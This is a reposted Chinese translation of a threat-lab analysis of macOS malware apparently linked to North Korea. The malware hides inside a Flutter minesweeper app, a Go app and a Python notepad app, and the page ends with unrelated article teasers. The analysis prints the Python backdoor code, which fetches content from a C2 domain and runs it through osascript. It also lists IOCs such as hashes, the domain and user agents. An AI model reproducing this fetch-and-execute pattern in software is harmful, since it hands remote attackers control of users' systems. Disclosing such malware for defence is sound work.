APT 参与者将恶意软件嵌入 macOS Flutter 应用程序中

news2024/12/31 6:20:19

发现了一些恶意软件样本,这些样本据信与朝鲜民主主义人民共和国 (DPRK)(又称北朝鲜)有关,这些样本使用 Flutter 构建,Flutter 的设计可以对恶意代码进行混淆。JTL 深入研究了恶意代码的工作原理,以帮助保护 macOS 设备上的用户。

img

介绍

10 月下旬,Jamf Threat Labs 发现上传到 VirusTotal 的样本虽然显示出恶意意图,但报告显示这些样本是干净的。该恶意软件中的域名和技术与其他朝鲜恶意软件中使用的域名和技术非常相似,有迹象表明,该恶意软件曾被签名,甚至暂时通过了 Apple 的公证程序。目前尚不清楚该恶意软件是否已用于攻击任何目标,或者攻击者是否正在准备一种新的交付方式。

img

包装

发现的恶意软件有三种形式。Go 变体、使用 Py2App 构建的 Python 变体和 Flutter 构建的应用程序。这篇博文将重点介绍 Flutter 构建的应用程序,因为我们发现它最有趣,因为它的逆向复杂性很高。

Flutter是 Google 开发的一款框架,可简化跨平台应用程序的设计。如果开发人员正在设计一款希望在 macOS、iOS 和 Android 上保持一致的应用程序,Flutter 是一个可行的选择。

使用 Flutter 构建的应用程序具有独特的应用布局设计,为代码提供了大量隐蔽性。这是因为使用 Dart 编程语言写入主应用程序逻辑的代码包含在 dylib 中,该 dylib 随后由 Flutter 引擎加载。

img

上图显示了标准 Flutter 应用程序的布局,其中有两个值得注意的文件 - 一个主 Flutter 应用程序和一个被分配名称为 App 的 dylib 文件。更令人困惑的是,这个 dylib 不是由主应用程序直接加载的。由于 Flutter 编译其应用程序的复杂性,这个 dylib 未在主 machO 文件中列为共享库。虽然这个应用程序架构本身并没有什么恶意,但它恰好在设计上提供了一种很好的混淆途径。

恶意软件

恶意软件作者创建的 Flutter 应用程序被认为是第一阶段的有效载荷。我们最初确定了六个受感染的应用程序,其中五个使用开发者帐户签名进行签名。在我们发现时,Apple 已经撤销了这些签名。

BALTIMORE JEWISH COUNCIL, INC. (3AKYHFR584)
FAIRBANKS CURLING CLUB INC. (6W69GC943U)

img

一个名为New Updates in Crypto Exchange (2024-08-28).app(7cb8a9db65009f780d4384d5eaba7a7a5d7197c4) 的应用程序是使用 Flutter 构建的,并使用 Dart 编程语言开发。执行后,受害者将看到一个功能齐全的扫雷游戏。该游戏本身似乎是GitHub 上一个基本的开源F flutter 游戏的克隆,这是一个为 iOS 设计的项目。通过克隆项目并修改一些项目设置,它可以轻松地编译为在 macOS 上运行。

img

img

由于对应用程序进行了修改,启动应用程序时会向该域发出网络请求。这引起了我们的注意,因为该域过去mbupdate[.]linkpc[.]net曾被朝鲜恶意软件使用过。

以下是通过 HTTPS 对第二阶段恶意软件的 GET 请求。

GET /pkg/ HTTP/1.1
user-agent: dart-crx-update-request/1.0
accept-encoding: gzip
host: mbupdate[.]linkpc[.]net
content-length: 0

不幸的是,在我们分析时,服务器响应了 404 错误消息。

HTTP/1.1 404 Not Found
Date: Wed, 30 Oct 2024 15:21:02 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
Content-Length: 306
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at mbupdate[.]linkpc[.]net Port 443</address>
</body></html>

正如预期的那样,由于应用程序架构的原因,编译后的 Dart 代码会进入位于路径New Updates in Crypto Exchange (2024-08-28).app/Contents/Frameworks/App.framework/Versions/A/App(a2cd8cf70629b5bb0ea62278be627e21645466a3) 的 App dylib 文件中。

New Updates in Crypto Exchange (2024-08-28).app
└── Contents
    ├── Frameworks
    │   ├── App.framework
    │   │   ├── App -> Versions/Current/App <----HOLDS MALICIOUS CODE
    │   ├── FlutterMacOS.framework
    │   ├── audio_session.framework
    │   ├── in_app_review.framework
    │   ├── just_audio.framework
    │   ├── path_provider_foundation.framework
    │   ├── share_plus.framework
    │   └── shared_preferences_foundation.framework
    ├── Info.plist
    ├── MacOS
    │   └── minesweeper
    ├── PkgInfo
    └── Resources

从下面的输出中我们可以看到,快照相关符号(例如和)nm的存在表明应用程序的操作逻辑大量嵌入在预编译的 Dart 快照中,这使得分析和反编译工作变得复杂。_kDartVmSnapshotData``_kDartIsolateSnapshotInstructions

仔细查看字符串,我们可以快速确定一些支持的功能。正如预期的那样,我们在 dylib 中看到了域和用户代理字符串,但字符串的存在osascript非常有趣,因为它可能表示支持 AppleScript 执行的功能。

strings - App
....
dart-crx-update-request/1.0
dart-crx-update-request/1.0
mbupdate[.]linkpc[.]net
mbupdate[.]linkpc[.]net
osascript
osascript
....

为了进行测试,我们在本地测试环境中重定向了来自恶意域的流量,并确认该恶意软件确实执行了有效 HTTP 响应返回的任何 AppleScript 代码。我们的测试表明,第二阶段的 AppleScript 必须反向编写才能被恶意软件成功执行。

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
content-length: 51

".revres eht morf egassem a si sihT" golaid yalpsid

下面是通过远程 Applescript 执行的对话框消息的示例。

img

过去,我们观察到朝鲜正在适应使用原生AppleScript 有效载荷,因此我们怀疑攻击者可能会利用类似的有效载荷来攻击 macOS 系统。

Golang 变体

我们发现了具有类似功能的恶意软件 Golang 变体,标题为New Era for Stablecoins and DeFi, CeFi (Protected).app(0b9b61d0fffd52e6c37df37dfdffefc0e121acf7)。我们在 SentinelOne 的朋友最近发布了一篇博客文章,介绍了一种使用完全相同文件名的感染媒介,并将其归因于同一威胁行为者。

如上所述,该变体之前已由 Apple 签名并公证,但其签名现已被撤销。

img

与 Flutter 变体类似,标题为 (bc6b446bad7d76909d84e7948c369996b38966d1) 的可执行文件使用 user-agentHello发出 GET 请求。hXXps://mbupdate[.]linkpc[.]net/update.php``CustomUpdateUserAgent

GET /update.php HTTP/1.1
Host: mbupdate[.]linkpc[.]net
User-Agent: CustomUpdateUserAgent/1.0
Accept-Encoding: gzip
content-length: 0

它调用osascript运行服务器响应中收到的任何 AppleScript 有效负载。

loc_122eff5:
    rax = _io.ReadAll(rdi, rsi, rdx, rcx, r8, r9, stack[-184], stack[-176]);
....
            _os/exec.Command(0x2, rsi, 0x122f3c9, &var_38, r8, r9, stack[-184], stack[-176], stack[-168], stack[-160]);
            rax = _os/exec.(*Cmd).CombinedOutput(0x2, rsi, 0x122f3c9, &var_38, r8, r9, stack[-184]);
....

Python 变体

Python 变体使用Py2App打包为独立应用程序包。

标题为(ee22e7768e0f4673ab954b2dd542256749502e97)的应用程序包Runner.app是临时签名的,并启动了一个功能齐全的记事本应用程序。

img

位于的启动脚本Runner.app/Contents/Resources/__boot__.py执行名为 (6f280413a40d41b8dc828250bbb8940b219940c5) 的 Python 脚本notepad_.py 。此脚本利用 tkinter(用于创建 GUI 应用程序的内置 Python 库)来实现打开、编辑和保存文件等功能。

然而,此脚本中嵌入了获取并执行远程代码的恶意逻辑。与 Flutter 变体类似,init 方法向 发送 GET 请求hXXps://mbupdate[.]linkpc[.]net/update.php。如果收到有效响应,则将内容传递给该update() 方法。

    def __init__(self,**kwargs):
        # Check update
        try:
            headers = {'User-Agent': 'python-update-request/1.10.1'}
            response = requests.get('hXXps://mbupdate[.]linkpc[.]net/update.php', headers=headers, timeout=5)
            if response.status_code == 200:
                #print(response.text)
                self.update(response.text)
                self.__root.destroy()
        except:
            pass

update()方法使用osascriptAppleScript 执行服务器响应,允许攻击者在受害者的系统上运行任意命令或有效负载。

    def update(self, content):
        cmd = """osascript -e '{}'""".format(content)
        os.system(cmd)

结论

本博客中发现的恶意软件显示出强烈的迹象,表明它可能正在测试更大规模的武器化。这一理论源于这样一个事实:该行为者以从头到尾组织极具说服力的社会工程活动而闻名,并且此处看到的文件名与 Flutter 构建的应用程序中向用户显示的内容不一致。这可能是为了查看经过正确签名的应用程序(恶意代码隐藏在 dylib 中)是否能获得 Apple 公证服务器的批准,以及躲过防病毒供应商的监视。

攻击者将恶意软件嵌入基于 Flutter 的应用程序并非闻所未闻,但这是我们第一次看到攻击者使用它来攻击 macOS 设备。虽然这到底是真正的恶意软件还是一种将恶意软件武器化的新方法的测试仍未可知,但我们仍会密切关注攻击者的进一步活动。

IOCs

ARCHIVES/APPS
6fa932f4eb5171affb7f82f88218cca13fb2bfdc (Multisig Risk in Stablecoin (Solana).zip - flutter variant)
"Multisig Risk in Stablecoin (Solana).app"

a12ad8d16da974e2c1e9cfe6011082baab2089a3 (arjun.minesweeper.zip - flutter variant)
"New Updates in Crypto Exchanges (2024-09-01).app"

eadfafb35db1611350903c7a76689739d24b9e5c (arjun.minesweeper.zip - flutter variant)
"Multisig Risks in Stablecoin and Crypto Assets (EigenLayer).app"

7cb8a9db65009f780d4384d5eaba7a7a5d7197c4 (arjun.minesweeper.zip - flutter variant)
"New Updates in Crypto Exchange (2024-08-28).app"

0b9b61d0fffd52e6c37df37dfdffefc0e121acf7 (com.christy.gohello.zip - golang variant)
"New Era for Stablecoins and DeFi, CeFi (Protected).app"

ee22e7768e0f4673ab954b2dd542256749502e97 (Runner (1).zip - python variant)
"Runner.app"

DYLIB
a2cd8cf70629b5bb0ea62278be627e21645466a3 (App - flutter variant)
6664dfdbce1e6311ea02aa2827a866919a5659cc (App - flutter variant)

MACHO
dd38d7097a3359dc0d1c999225286a2f651b154e (minesweeper - universal - flutter variant)
9598e286142af837ee252de720aa550b3bea79ea (minesweeper - arm - flutter variant)
90e0e88e5b180eb1663c2b2cfe9f307ed03a301b (minesweeper - x86 - flutter variant)

710f84c42ba79de7eebb2021383105ae18c0c197 (minesweeper - universal - flutter variant)
5bf18435eb0dbb31e4056549f6ec880793f49a82 (minesweeper - arm - flutter variant)
2460c6ac4d55c34e3cc11c53f2e8c136682ac934 (minesweeper - x86 - flutter variant)

bc6b446bad7d76909d84e7948c369996b38966d1 (hello - universal - golang variant)
4476788a3178d53297caffca8ea21ab95352fc56 (hello - arm - golang variant)
3f51182029a2d4ed9c7cc886eb7666810904f9df (hello - x86 - golang variant)

PYTHON
6f280413a40d41b8dc828250bbb8940b219940c5 (notepad_.py - python variant)

TEAMID
BALTIMORE JEWISH COUNCIL, INC. (3AKYHFR584)
FAIRBANKS CURLING CLUB INC. (6W69GC943U)

DOMAIN
mbupdate[.]linkpc[.]net -> 172.86.102[.]98 (c2)

USER-AGENTS
dart-crx-update-request/1.0
CustomUpdateUserAgent/1.0
python-update-request/1.10.1

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2240901.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

双十一抢券风波:大学生300元提6000元电动车遭拒,谁该负责?

双十一购物狂欢节,本应是消费者享受优惠、商家提升销量的双赢时刻,但在河南郑州,发生了一起哭笑不得的抢券风波。一名大学生在双十一期间,通过某平台抢到了原价6099元电动车的直降优惠,只需支付300元就能将车骑回家。然…

三周精通FastAPI:37 包含 WSGI - Flask,Django,Pyramid 以及其它

官方文档:https://fastapi.tiangolo.com/zh/advanced/wsgi/ 包含 WSGI - Flask,Django,其它 您可以挂载多个 WSGI 应用,正如您在 Sub Applications - Mounts, Behind a Proxy 中所看到的那样。 为此, 您可以使用 WSGIMiddlewar…

【汇编语言】包含多个段的程序(二)—— 将数据、代码、栈放入不同的段

文章目录 前言1. 存在的两个问题2. 解决办法3. 示例代码3.1 程序说明3.1.1 定义多个段的方法3.1.2 对段地址的引用3.1.3 各种段完全是我们的安排 4. 总结结语 前言 📌 汇编语言是很多相关课程(如数据结构、操作系统、微机原理)的重要基础。但…

初识Linux · 共享内存

目录 理解共享内存 Shared memmory code 理解共享内存 前文介绍的管道方式的通信,本文介绍的是进程通信的另外一种方式,即共享内存。但是这种通信方式的特点是只能本地通信,并且不像管道那样有保护机制,这里是没有的。 我们通…

【竞技宝】CS2-上海majorRMR:美洲区最后门票争夺战

北京时间2024年11月15日,上海major美洲区RMR正在如火如荼的进行之中。昨日一共进行了三场2-1组的比赛以及三场1-2组的比赛,决出三个正赛参赛名额的同时也确定了今日2-2组的参赛队伍,那么昨日的比赛战果如何呢?接下来小宝就为大家带…

实战:深入探讨 MySQL 和 SQL Server 全文索引的使用及其弊端

在数据库中处理大量文本数据时,包含搜索(例如查找包含特定单词的文本)往往是必需的。然而,直接使用 LIKE %text% 的方式在大数据量中进行模糊查询会造成性能瓶颈。为了解决这一问题,MySQL 和 SQL Server 提供了全文索引(Full-Text Indexing)功能,可以显著加速文本数据的…

蓝桥杯——数组

1、移动数组元素 package day3;import java.util.Arrays;public class Demo1 {public static void main(String[] args) {int[] arr {1,2,3,4,5,6};int k 2;int[] arr_new f(arr,k);for (int i : arr_new) {System.out.print(i",");}//或System.out.println();St…

人体存在感应器设置时间开启感应人存在开灯,失效

环境: 领普人体存在感应器 问题描述: 人体存在感应器设置时间开启感应人存在开灯,失效,设置下午5点,如果有人在5点前一直在这个区域,这个时候到了5点,就触发不了感应自动打开灯光。 解决方案&#xff1a…

常用命令之LinuxOracleHivePython

1. 用户改密 passwd app_adm chage -l app_adm passwd -x 90 app_adm -> 执行操作后,app_adm用户的密码时间改为90天有效期--查看该euser用户过期信息使用chage命令 --chage的参数包括 ---m 密码可更改的最小天数。为零时代表任何时候都可以更改密码。 ---M 密码…

基于yolov8、yolov5的车型检测识别系统(含UI界面、训练好的模型、Python代码、数据集)

摘要:车型识别在交通管理、智能监控和车辆管理中起着至关重要的作用,不仅能帮助相关部门快速识别车辆类型,还为自动化交通监控提供了可靠的数据支撑。本文介绍了一款基于YOLOv8、YOLOv5等深度学习框架的车型识别模型,该模型使用了…

解决因为TortoiseSVN未安装cmmand line client tools组件,导致idea无法使用svn更新、提交代码

一.错误信息 1.更新代码时:SVN: 更新错误 找不到要更新的版本管理目录。 2.提交代码:检测不到任何更新(实际上有代码修改)。 3.Cannot run program "svn"。 二.原因分析 在电脑上新安装的的客户端TortoiseSVN、ide…

高效稳定!新加坡服务器托管方案助力企业全球化布局

在全球化的商业环境中,企业对于高效、稳定的服务器托管方案的需求日益迫切。作为亚洲的服务器托管中心,新加坡凭借其独特的地理位置、稳定的政治环境、先进的科技设施以及开放的市场政策,为企业提供了理想的服务器托管解决方案,助…

NVR管理平台EasyNVR多品牌NVR管理工具/设备:为什么IPC白天图像正常,夜视漆黑?

在安防监控系统中,IPC(网络摄像机)扮演着至关重要的角色。然而,有时用户可能会遇到这样的问题:IPC在白天时图像清晰正常,但到了夜晚却变得漆黑一片,无法看清监控画面。 为什么IPC白天图像正常&a…

安卓aab包的安装教程,附带adb环境的配置

一、ADB环境配置 安装aab包的前提是需要有adb环境,下面先介绍adb环境的配置 ADB通常位于/platform-tools/。 在Windows上,你可以通过以下步骤添加到环境变量: 右键点击“我的电脑”或“此电脑”,选择“属性”。 点击“高级系…

研究生如何远控实验室电脑?远程办公功能使用教程

如果你是研究生,是不是会遇到需要远程控制实验室电脑进行查看文献、调代码和拉数据的时候?有时候就是这么棘手,不过你可以借助一些工具来帮助你随时随地远控实验室电脑。这样就不用担心导师催促,无法及时完成科研了。常见的工具比…

计算机视觉和机器人技术中的下一个标记预测与视频扩散相结合

一种新方法可以训练神经网络对损坏的数据进行分类,同时预测下一步操作。 它可以为机器人制定灵活的计划,生成高质量的视频,并帮助人工智能代理导航数字环境。 Diffusion Forcing 方法可以对嘈杂的数据进行分类,并可靠地预测任务的…

云计算研究实训室建设方案

一、引言 随着云计算技术的迅速发展和广泛应用,职业院校面临着培养云计算领域专业人才的迫切需求。本方案旨在构建一个先进的云计算研究实训室,为学生提供一个集理论学习、实践操作、技术研发与创新于一体的综合性学习平台,以促进云计算技术…

React Native 全栈开发实战班 - 核心组件与导航

在 React Native 中,组件是构建用户界面的基本单元。React Native 提供了丰富的内置组件,涵盖了从基础布局到复杂交互的各种需求。本章节将详细介绍常用的内置组件,并重点讲解列表与滚动视图的使用。 1. 常用内置组件详解 React Native 提供…

【2025最新计算机毕业设计】基于SpringBoot+Vue电脑在线装机指南教程网站【源码+文档】

作者简介:✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流。✌ 主要内容:🌟Java项目、Python项目、前端项目、PHP、ASP.NET、人工智能…

C语言——段管理

一、复习一下 1.指针的概念? 存储地址的基本数据类型 2.什么是数据类型? 在内存空间上框出一定空间的模子,比如int在内存空间上框出4个字节,int就是基本的数据类型 3.基本数据类型,多个数据类型,多个同…